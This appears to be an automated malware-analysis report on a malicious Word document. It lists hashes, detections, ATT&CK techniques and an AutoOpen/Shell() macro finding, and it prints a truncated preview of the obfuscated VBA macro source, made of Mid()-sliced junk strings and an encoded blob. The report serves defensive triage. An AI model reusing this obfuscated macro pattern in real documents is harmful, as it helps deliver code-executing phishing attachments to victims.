Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8eea064f002e1325…

MALICIOUS

Office (OLE)

87.0 KB Created: 2017-10-24 21:50:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 9332c5b550e90eae8f7dfde164559f2e SHA-1: e04f9b92348ee93ce0b15d6664595e04a573933c SHA-256: 8eea064f002e132572a85d5a276814cc56000b46add7b895d386e18f80f78cfa
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is a malicious Word document containing obfuscated VBA macros. The 'AutoOpen' macro is present and utilizes the 'Shell()' function, indicating an attempt to execute arbitrary code. The presence of 'macros.bas' and the ClamAV detection 'Doc.Macro.Obfuscation-6355576-0' further support its malicious nature. The primary attack vector is likely spearphishing attachment, leading to client execution via the macro.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48200 bytes
SHA-256: 2c319722ded89c18907ade5df2f9563664d1032b24e82e951ac7a8a525550977
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 106 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function zwwCVHJUA()
UHwhbwJHNz = "NRB7YJ77WX1PET9SPWM6TcjAvMPzYpFqjJqokkWjqTqrLipLGsGpiBYOMXCwDnOaWHqbLZhLPSzNmopQWEqfiPHhlbcNhZcDFPUDoOAhLuaQEKcXhmZwwisHzIqjzTdpptIWTlcIEJToordazEfvzdHWXNDfXQjsQlaKCFEwKRunPESIfPktoipMmlzGiwknZb8F02OL"
ditGU = Mid(UHwhbwJHNz, 22, 173)
DmCpTJqkC = ditGU
tbjMw = "2FZ3GWGqCJYYfZAhwpORfSnqcpIAXWZKjPlnLszCSDuCTSJQClmpmVISSqDuLGSfkNoPnMVFrLzcYlXJfrzlkkYNHSVVpCrMkORFiucqQhzaWjtjStOUIhvzpaIVrzQoUnrKTRflOHUCmzraYoCwnXDDTSPDmHzRQIGipjNBNdFAMsNsihwCwUAwjnrBCcwGIDmdqJlpbBiKRDraFXUELwUwHKzBsMzkizsIGjBZwHbulqijwQviIuvLjpVjJjA1YC4VB"
pPFZzjzAzF = Mid(tbjMw, 7, 248)
YqkbHdPiISs = pPFZzjzAzF
mwQioXwp = "Y7WKIWofhkFhOIDsYoBuJzrMlfchkpTQTmlQiijARcEqkIHNGrVjtKDvmOzctGvrRpNcXnJpHAcjsAbcXPbtUmWJiqdUjDHLhNZuufpThjYshXClmWEdfCXiSEtEC4FN7QKS49BK1T61SSH"
WOPIaPuYTaA = Mid(mwQioXwp, 5, 119)
GhXWjr = WOPIaPuYTaA
tHEjSFO = "CYU9O2ZP3WMLP73MU1rzMFaaabcMpIdIIqndtXVUIutlPOauWNtmdTHPQQfQbaQAuUBXwdKEiXpRMoLLAiqbOrioiXMdsEthisruNDwtDoHGiqCbFTQskolDqMpaQhMaiImUzQwzmwYakXKrVlYYoAwpGoEANVdWbhcVEidoVSGoQLSSBwFfJoliLzNJMzkQTBwCvonmHjCVtIYvVlwOGN7E2O37R"
rrrmfAdBiNj = Mid(tHEjSFO, 19, 194)
IsZTq = rrrmfAdBiNj
AilqoQ = "AFZF8RVYVKLWK52VVOTVDXKBMVbUGTDJPYSftBTpivVZYzUXHFDlziOFwzRXwFZwoiaFYalYmvsHBlcNAENAPSJjJNjujwsZWXkqZOwhUfwDqHDKWEWssYiWYtwLrrpqCTkiAmolFjjkT5LMGNXW"
cGRoiMzrp = Mid(AilqoQ, 21, 121)
tONdFUub = cGRoiMzrp
kkHuhQjpPQ = "EXM7BWU8V6MI7fMHiCjzYNqzZBIZiiBlQGciOOkiNNRDvBKblXzOGIGaMojjwpDZvoXuDisTSzmLvmEYrhnKhniHACVZiDmXJsHGiQYHidvJWviZkLpOBsrIKPtAISoPKOCDfzuaJjjDrVlFYwpTOYWQAzwPWXwLojwHsaunROFUMoQodocMdVAmslDfBfDlhUOLXdMwBCCzSBELiHlivmiTfLPHXOllKTmraFRAciKbSBTqhrztuVpvmufLOEbnQQowPMldqkGRcGBisYafRrrpirFfZFlXPJN"
uNqOiUaQX = Mid(kkHuhQjpPQ, 14, 275)
QAAwmOBN = uNqOiUaQX
kHBkflJOTk = "9KwOCwfSLiUVVuIEVZLRfTFbQUckEjZR71PXH2HSJZ5SR"
vuBic = Mid(kHBkflJOTk, 3, 30)
KBWhj = vuBic
WZDDfiJDjaR = "Z7LO5O8WND3nzIBrzRiflMcaDSdOZhjvMAVrTuRpzYmfFwziOFwPMNhPEDTpZvOIvbbzmKXDzshNZwUEUwzUjRjwTGmQabQCJijdXwrEhuPUjUpHiOVavtYiscfjXGcXcfDuNqhWHvnoBPSzQfiLGpGPGFlvSKhbSrrBQuurhwTAGkcdKjPrXRRnYnoHFlDwNMWKXQiWlrdHWGJVcHklupDAaEdcFmlvvWmuOSGtwtGjnJRRiTfwASCYIVjSnGRzFhMzUOHJBrnBjWNRnLzlGnudUOltjnFrbHaFzRwQMSAN18CDFLPOS"
RnqMznBzW = Mid(WZDDfiJDjaR, 12, 286)
PijLIOqRd = RnqMznBzW
JEiWmJ = "G957QZNVQMKMsnLMVNwaJOlqqJdEAqiUziVuOfICIzi6AS54G1Z2A5"
TTauNSzE = Mid(JEiWmJ, 7, 37)
posINz = TTauNSzE
fDfhsI = "RDMSY3UhJpGDtRwfbjisZHLnOibLnrhNwdjfpvcqlIJrZUwQYXKFoMDXqjPncitSHtEQlTpjErHRzTOtjLnQjcYmZIoFfpOCPrAJIN0IARU9RRKHBRVRDF5RFXY59S"
Jdwcl = Mid(fDfhsI, 8, 91)
FdzjHShh = Jdwcl
izEKzTCQ = "5Z6VNZO8GJMXDQTYuAjliiUHTuuAIjqEivOXRFzNNjGNnjPsMqptEwHdSdjLnwcHjXpICvHoCVYCcGTmfCoRqzzlolFnYmaQDwiQrGqQjBqjYFAMKufkIKRlXDUQqUQPuHwdcCvYMXhpGQNiksciGqIshstnmZaPlboRGXkHwGXkdcfGqljzrlIEwFvjJHlnzSEfcwbMIUfASXPFNnzBscXzSjSBbAwrUknKYziuJToWFImapqVVJkuUuENsdakNVAN5BNVL5V91OZI56QHSF4"
awCMuQ = Mid(izEKzTCQ, 12, 244)
UwjJBFkaw = awCMuQ
pmjpXafId = "G44HDCJ1OBQwMmvzKHVUbXiqUONQWMLSXZmPlCYSobwVAVpLHzijRmIfnCoJiFOlDzanADQ2669Z"
ZNdLkoMJ = Mid(pmjpXafId, 11, 59)
DcNAmWBR = ZNdLkoMJ
qBBsi = "8LTB55CL2IZ6OVzJiAomHSfbIfsSnjfGdOaNmvabvHUWOhZkplwTZzlQIdjwPHSNlqmzvjWjaNqzwJNaFHcBkLjdcJFILiMopGkYubpGOPtMIlSzQIqHiQdaKIVldOXvACKrYojdSWmVRUVrrGsDnFJYcJNlGEcADCSX"
jEcmzS = Mid(qBBsi, 14, 147)
ISRZJJM = jEcmzS
RorJjDw = "7CkjPifEhiBwEmZXVVHQvdlfUSqcijBOdFBGjhizjiiCbbinjRkJhzGmGEMzsCazdmTzkTnnrJkNuiEsjCtMzrhfwPziVjFdIlYoIjCPiwRYNtrXATNpJNwlFoAUTJRKEGFJJPkAzdiCZIRFXciCSPUumnjTjhvVfHTHniNljNqffwLwWuzrfPrplKWWfQQRhNXSoKSoOsSFZpPqbmzokEpPPiWcMqFTzYzRZtHMcIdmzmPwvjvsSbhdXHDKopcX4WNZWIXS5SMH51YV9W4EMBV7T1B5N"
mbarbWi = Mid(RorJjDw, 3, 254)
dOaIs = mbarbWi
End Function
Function ibNddFbvR()
NFhis = "D0NA3CFE0EAMQA2ACwAMQAxADIALAA1ADgAIAAsACAANAA3ACwAIAA0ADcALAAgADEAMQAyACwAIAAxADEANwAgACwAMQAwADUAIAAsADEAMAA3ACAALAAxADEAMgAg10AXVYRAO2QL"
YVVoIKa
... (truncated)

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